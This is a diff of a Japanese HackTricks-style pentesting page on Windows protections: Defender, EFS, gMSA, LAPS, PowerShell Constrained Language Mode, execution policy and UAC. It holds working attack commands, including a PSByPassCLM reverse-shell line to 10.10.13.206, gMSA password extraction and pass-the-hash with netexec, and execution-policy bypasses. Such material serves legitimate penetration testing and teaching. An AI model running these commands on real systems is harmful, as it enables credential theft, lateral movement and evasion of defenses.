-LSAはディスクにいくつかの資格情報を保存することがあります: +LSA はディスク上にいくつかの資格情報を保存することがあります: -- アクティブディレクトリのコンピュータアカウントのパスワード(到達不可能なドメインコントローラー)。 -- Windowsサービスのアカウントのパスワード +- Active Directory のコンピューターアカウントのパスワード(ドメインコントローラーに到達できない場合)。 +- Windows サービスのアカウントのパスワード - スケジュールされたタスクのパスワード -- その他(IISアプリケーションのパスワードなど...) +- その他(IIS アプリケーションのパスワード...) ### NTDS.dit -これはアクティブディレクトリのデータベースです。ドメインコントローラーにのみ存在します。 +Active Directory のデータベースです。ドメインコントローラーにのみ存在します。 ## Defender -[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) は、Windows 10およびWindows 11、そしてWindows Serverのバージョンで利用可能なアンチウイルスです。**一般的なペンテストツール**(例:**`WinPEAS`**)を**ブロック**します。しかし、これらの保護を**回避する方法**があります。 +[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) は Windows 10 および Windows 11、ならびに Windows Server のバージョンで利用可能なアンチウイルスです。`WinPEAS` のような一般的な pentesting ツールをブロックします。ただし、これらの保護をバイパスする方法も存在します。 ### チェック -**Defender**の**ステータス**を確認するには、PSコマンドレット **`Get-MpComputerStatus`** を実行できます(**`RealTimeProtectionEnabled`** の値を確認して、アクティブかどうかを確認します): +Defender の**ステータス**を確認するには、PS コマンドレット **`Get-MpComputerStatus`** を実行します(有効かどうかを確認するには **`RealTimeProtectionEnabled`** の値を確認してください):
PS C:\> Get-MpComputerStatus
 
@@ -92,7 +92,7 @@ NISEngineVersion                : 0.0.0.0
 PSComputerName                  :
 
-列挙するには、次のコマンドを実行することもできます: +列挙するには次のコマンドも実行できます: ```bash WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List wmic /namespace:\\root\securitycenter2 path antivirusproduct @@ -103,36 +103,35 @@ sc query windefend ``` ## Encrypted File System (EFS) -EFSは、**対称鍵**である**ファイル暗号化キー(FEK)**を使用してファイルを暗号化することで保護します。この鍵はユーザーの**公開鍵**で暗号化され、暗号化されたファイルの$EFS **代替データストリーム**内に保存されます。復号が必要な場合、ユーザーのデジタル証明書の対応する**秘密鍵**を使用して$EFSストリームからFEKを復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)で確認できます。 +EFS はファイルを暗号化によって保護します。ここでは **対称鍵** として知られる **File Encryption Key (FEK)** を利用します。FEK はユーザーの **公開鍵** で暗号化され、暗号化ファイルの $EFS の **代替データストリーム** 内に格納されます。復号が必要な場合、ユーザーのデジタル証明書に対応する **秘密鍵** を用いて $EFS ストリームから FEK を復号します。詳細は[こちら](https://en.wikipedia.org/wiki/Encrypting_File_System)を参照してください。 -**ユーザーの操作なしでの復号シナリオ**には以下が含まれます: +**ユーザーの操作なしに復号が行われる状況** には次のようなものがあります: -- ファイルやフォルダーが[FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table)のような非EFSファイルシステムに移動されると、自動的に復号されます。 -- SMB/CIFSプロトコルを介してネットワーク上で送信される暗号化ファイルは、送信前に復号されます。 +- ファイルやフォルダが [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table) のような非 EFS ファイルシステムに移動されたとき、自動的に復号されます。 +- SMB/CIFS プロトコル経由でネットワーク越しに送信される暗号化ファイルは、送信前に復号されます。 -この暗号化方法は、所有者に対して暗号化ファイルへの**透過的アクセス**を提供します。ただし、所有者のパスワードを単に変更してログインするだけでは復号は許可されません。 +この暗号化方式は所有者に対して暗号化ファイルへの **透過的なアクセス** を許可します。ただし、単に所有者のパスワードを変更してログインするだけでは復号はできません。 -**主なポイント**: +### 要点 -- EFSは、ユーザーの公開鍵で暗号化された対称FEKを使用します。 -- 復号にはユーザーの秘密鍵を使用してFEKにアクセスします。 -- FAT32へのコピーやネットワーク送信など、特定の条件下で自動的に復号が行われます。 -- 暗号化ファイルは、追加の手順なしで所有者がアクセスできます。 +- EFS は対称 FEK を使用し、FEK はユーザーの公開鍵で暗号化されます。 +- 復号には FEK にアクセスするためにユーザーの秘密鍵が使用されます。 +- FAT32 にコピーしたりネットワーク送信するなど特定の条件下で自動的に復号が行われます。 +- 暗号化ファイルは所有者が追加の手順なしでアクセスできます。 -### EFS情報の確認 +### Check EFS info -この**サービス**を**使用した**かどうかを確認するには、このパスが存在するか確認します:`C:\users\\appdata\roaming\Microsoft\Protect` +このサービスをユーザーが使用したかどうかは、次のパスが存在するか確認してください: `C:\users\\appdata\roaming\Microsoft\Protect` -ファイルへの**アクセス**権を確認するには、cipher /c \\ -フォルダー内で`cipher /e`および`cipher /d`を使用して、すべてのファイルを**暗号化**および**復号**することもできます。 +ファイルに**誰が**アクセスできるかを確認するには `cipher /c \` を使用します。フォルダ内のすべてのファイルを **暗号化 / 復号** するには、`cipher /e` と `cipher /d` を使用できます。 -### EFSファイルの復号 +### Decrypting EFS files -#### 権限システムであること +#### Being Authority System -この方法では、**被害者ユーザー**がホスト内で**プロセス**を**実行**している必要があります。その場合、`meterpreter`セッションを使用してユーザーのプロセスのトークンを偽装することができます(`incognito`の`impersonate_token`)。または、ユーザーのプロセスに`migrate`することもできます。 +この方法は、**被害ユーザー** がホスト内でプロセスを **実行している** 必要があります。もしその状態であれば、`meterpreter` セッションを使ってユーザーのプロセスのトークンを偽装する(`incognito` の `impersonate_token`)ことができます。または単にユーザーのプロセスに `migrate` することも可能です。 -#### ユーザーのパスワードを知っていること +#### Knowing the users password {{#ref}} @@ -141,37 +140,73 @@ https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files ## Group Managed Service Accounts (gMSA) -Microsoftは、ITインフラストラクチャにおけるサービスアカウントの管理を簡素化するために**グループ管理サービスアカウント(gMSA)**を開発しました。従来のサービスアカウントは「**パスワードは期限切れにならない**」設定が有効なことが多いのに対し、gMSAはより安全で管理しやすいソリューションを提供します: +Microsoft は IT インフラでのサービスアカウント管理を簡素化するために **Group Managed Service Accounts (gMSA)** を開発しました。従来の「Password never expire」設定が有効になりがちなサービスアカウントとは異なり、gMSA はより安全で管理しやすいソリューションを提供します: -- **自動パスワード管理**:gMSAは、ドメインまたはコンピュータポリシーに従って自動的に変更される複雑な240文字のパスワードを使用します。このプロセスはMicrosoftのキー配布サービス(KDC)によって処理され、手動でのパスワード更新が不要になります。 -- **強化されたセキュリティ**:これらのアカウントはロックアウトに対して免疫があり、対話的ログインには使用できないため、セキュリティが向上します。 -- **複数ホストのサポート**:gMSAは複数のホストで共有できるため、複数のサーバーで実行されるサービスに最適です。 -- **スケジュールされたタスクの実行能力**:管理されたサービスアカウントとは異なり、gMSAはスケジュールされたタスクの実行をサポートします。 -- **簡素化されたSPN管理**:コンピュータのsAMaccountの詳細やDNS名に変更があった場合、システムは自動的にサービスプリンシパル名(SPN)を更新し、SPN管理を簡素化します。 +- **自動パスワード管理**: gMSA は複雑な 240 文字のパスワードを使用し、ドメインやコンピュータのポリシーに従って自動的に変更されます。この処理は Microsoft の Key Distribution Service (KDC) によって行われ、手動でのパスワード更新を不要にします。 +- **強化されたセキュリティ**: これらのアカウントはロックアウトの対象にならず、対話型ログインに使用できないため、セキュリティが向上します。 +- **複数ホスト対応**: gMSA は複数のホストで共有可能で、複数サーバー上で動作するサービスに最適です。 +- **スケジュールタスクの実行可能性**: managed service accounts と異なり、gMSA はスケジュールタスクの実行をサポートします。 +- **SPN 管理の簡素化**: コンピュータの sAMaccount 情報や DNS 名に変更があった場合、システムが自動的に Service Principal Name (SPN) を更新し、SPN 管理を簡素化します。 -gMSAのパスワードはLDAPプロパティ_**msDS-ManagedPassword**_に保存され、ドメインコントローラー(DC)によって30日ごとに自動的にリセットされます。このパスワードは、[MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e)として知られる暗号化データブロブであり、認可された管理者とgMSAがインストールされているサーバーのみが取得できるため、安全な環境が確保されます。この情報にアクセスするには、LDAPSのような安全な接続が必要であるか、接続は「Sealing & Secure」で認証される必要があります。 +gMSA のパスワードは LDAP 属性 _**msDS-ManagedPassword**_ に格納され、Domain Controllers (DC) により自動的に 30 日ごとにリセットされます。このパスワードは [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e) として知られる暗号化データブロブであり、許可された管理者と gMSA がインストールされているサーバーのみが取得可能で、セキュアな環境を確保します。この情報にアクセスするには LDAPS のような保護された接続が必要か、あるいは接続が 'Sealing & Secure' で認証されている必要があります。 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png) -このパスワードは[**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**で読み取ることができます:** +You can read this password with [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:** ``` /GMSAPasswordReader --AccountName jkohler ``` -[**この投稿で詳細情報を見つける**](https://cube0x0.github.io/Relaying-for-gMSA/) +[**Find more info in this post**](https://cube0x0.github.io/Relaying-for-gMSA/) + +また、こちらの [web page](https://cube0x0.github.io/Relaying-for-gMSA/) を確認してください。**NTLM relay attack**を実行して**gMSA**の**password**を**read**する方法について説明しています。 + +### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword) + +多くの環境では、低権限のユーザーが誤設定されたオブジェクトACLを悪用することで、DCを侵害することなくgMSAのsecretsにpivotできます: + +- あなたが制御できるグループ(例: GenericAll/GenericWrite経由)がgMSAに対して`ReadGMSAPassword`を付与されている。 +- そのグループに自分を追加することで、LDAP経由でgMSAの`msDS-ManagedPassword`ブロブを読み取る権利を継承し、利用可能なNTLMクレデンシャルを導出できます。 + +典型的なワークフロー: + +1) BloodHoundで経路を発見し、足がかりのプリンシパルをOwnedとしてマークします。次のようなエッジを探してください: +- GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA + +2) あなたが制御する中間グループに自分を追加します(例: bloodyAD): +```bash +bloodyAD --host -d -u -p add groupMember +``` +3) LDAP を通じて gMSA の管理パスワードを読み取り、NTLM ハッシュを導出する。NetExec は `msDS-ManagedPassword` の抽出と NTLM への変換を自動化する: +```bash +# Shows PrincipalsAllowedToReadPassword and computes NTLM automatically +netexec ldap -u -p --gmsa +# Account: mgtsvc$ NTLM: edac7f05cded0b410232b7466ec47d6f +``` +4) NTLM hash を使用して gMSA として認証します(no plaintext needed)。アカウントが Remote Management Users にある場合、WinRM はそのまま動作します: +```bash +# SMB / WinRM as the gMSA using the NT hash +netexec smb -u 'mgtsvc$' -H +netexec winrm -u 'mgtsvc$' -H +``` +注意: +- `msDS-ManagedPassword` の LDAP 読み取りはシーリング(例: LDAPS/sign+seal)を必要とします。ツールはこれを自動で処理します。 +- gMSAs はしばしば WinRM のようなローカル権限が付与されます; lateral movement を計画するために、グループメンバーシップ(例: Remote Management Users)を確認してください。 +- 自分で NTLM を計算するだけで blob が必要な場合は、MSDS-MANAGEDPASSWORD_BLOB 構造体を参照してください。 + -また、**gMSA**の**パスワード**を**読み取る**ための**NTLMリレー攻撃**を実行する方法についての[ウェブページ](https://cube0x0.github.io/Relaying-for-gMSA/)を確認してください。 ## LAPS -**ローカル管理者パスワードソリューション (LAPS)**は、[Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899)からダウンロード可能で、ローカル管理者パスワードの管理を可能にします。これらのパスワードは**ランダム化**され、ユニークで、**定期的に変更**され、Active Directoryに中央集権的に保存されます。これらのパスワードへのアクセスは、ACLを通じて認可されたユーザーに制限されています。十分な権限が付与されると、ローカル管理者パスワードを読み取る能力が提供されます。 +The **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), はローカル Administrator パスワードの管理を可能にします。これらのパスワードは **ランダム化** され、一意で、**定期的に変更** され、Active Directory に集中して保存されます。これらのパスワードへのアクセスは ACLs によって認可されたユーザーに制限されています。十分な権限が付与されていれば、ローカル管理者パスワードを読み取ることができます。 + {{#ref}} ../active-directory-methodology/laps.md {{#endref}} -## PS制約付き言語モード +## PS Constrained Language Mode -PowerShell [**制約付き言語モード**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/)は、COMオブジェクトのブロック、承認された.NETタイプのみの許可、XAMLベースのワークフロー、PowerShellクラスなど、PowerShellを効果的に使用するために必要な多くの機能を**制限**します。 +PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) は PowerShell を効果的に使用するために必要な多くの機能を**制限します**。例えば、COM objects のブロック、承認された .NET types のみの許可、XAML-based workflows、PowerShell classes、などが含まれます。 ### **確認** ```bash @@ -183,22 +218,22 @@ $ExecutionContext.SessionState.LanguageMode #Easy bypass Powershell -version 2 ``` -現在のWindowsでは、そのバイパスは機能しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM)を使用できます。\ -**コンパイルするには** **次のことが必要です** **_**参照を追加**_ -> _参照_ -> _参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll`を追加し、**プロジェクトを.Net4.5に変更します**。 +現在の Windows ではそのバイパスは動作しませんが、[ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) を使用できます。\\ +**コンパイルするには** **次に** _**参照の追加**_ -> _参照_ ->_参照_ -> `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` を追加し、**プロジェクトを .Net4.5 に変更する**。 -#### 直接バイパス: +#### Direct bypass: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe ``` -#### リバースシェル: +#### Reverse shell: ```bash C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe ``` -[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、**Powershell** コードを任意のプロセスで実行し、制約モードをバイパスできます。詳細については、[https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode) を確認してください。 +[**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) または [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) を使用して、任意のプロセス内で **Powershell を実行する** code を実行し、constrained mode をバイパスできます。詳細は次を参照してください: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode). ## PS 実行ポリシー -デフォルトでは、**restricted** に設定されています。このポリシーをバイパスする主な方法: +デフォルトでは **restricted.** に設定されています。 このポリシーをバイパスする主な方法: ```bash 1º Just copy and paste inside the interactive PS console 2º Read en Exec @@ -220,33 +255,40 @@ $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.T ``` More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/) -## Security Support Provider Interface (SSPI) +## セキュリティ サポート プロバイダ インターフェイス (SSPI) ユーザーを認証するために使用できるAPIです。 -SSPIは、通信を希望する2台のマシンに適切なプロトコルを見つける役割を担います。これに対する推奨方法はKerberosです。次に、SSPIは使用される認証プロトコルを交渉します。これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、両方のマシンが同じものをサポートする必要があります。 +SSPIは通信しようとする2台のマシンに対して適切なプロトコルを見つける役割を担います。これの推奨方法はKerberosです。SSPIはどの認証プロトコルが使用されるかをネゴシエートし、これらの認証プロトコルはSecurity Support Provider (SSP)と呼ばれ、各Windowsマシン内にDLLの形で存在し、通信するには両方のマシンが同じものをサポートしている必要があります。 -### Main SSPs +### 主なSSP -- **Kerberos**: 推奨されるもの +- **Kerberos**: 推奨される方式 - %windir%\Windows\System32\kerberos.dll -- **NTLMv1** および **NTLMv2**: 互換性の理由 +- **NTLMv1** and **NTLMv2**: 互換性のため - %windir%\Windows\System32\msv1_0.dll -- **Digest**: WebサーバーおよびLDAP、MD5ハッシュ形式のパスワード +- **Digest**: WebサーバーやLDAPで使用、パスワードはMD5ハッシュの形式 - %windir%\Windows\System32\Wdigest.dll -- **Schannel**: SSLおよびTLS +- **Schannel**: SSLとTLS - %windir%\Windows\System32\Schannel.dll -- **Negotiate**: 使用するプロトコルを交渉するために使用されます(KerberosまたはNTLM、デフォルトはKerberos) +- **Negotiate**: 使用するプロトコル(KerberosまたはNTLM)をネゴシエートするために使用される(既定はKerberos) - %windir%\Windows\System32\lsasrv.dll -#### 交渉は複数の方法を提供することもあれば、1つだけを提供することもあります。 +#### 交渉によっては複数の方式が提示されることもあれば、1つだけの場合もあります。 -## UAC - User Account Control +## UAC - ユーザー アカウント制御 + +[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は **権限昇格操作に対する同意プロンプト** を有効にする機能です。 -[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) は、**昇格された活動のための同意プロンプトを有効にする**機能です。 {{#ref}} uac-user-account-control.md {{#endref}} +## References + +- [Relaying for gMSA – cube0x0](https://cube0x0.github.io/Relaying-for-gMSA/) +- [GMSAPasswordReader](https://github.com/rvazarkar/GMSAPasswordReader) +- [HTB Sendai – 0xdf: gMSA via rights chaining to WinRM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) + {{#include ../../banners/hacktricks-training.md}}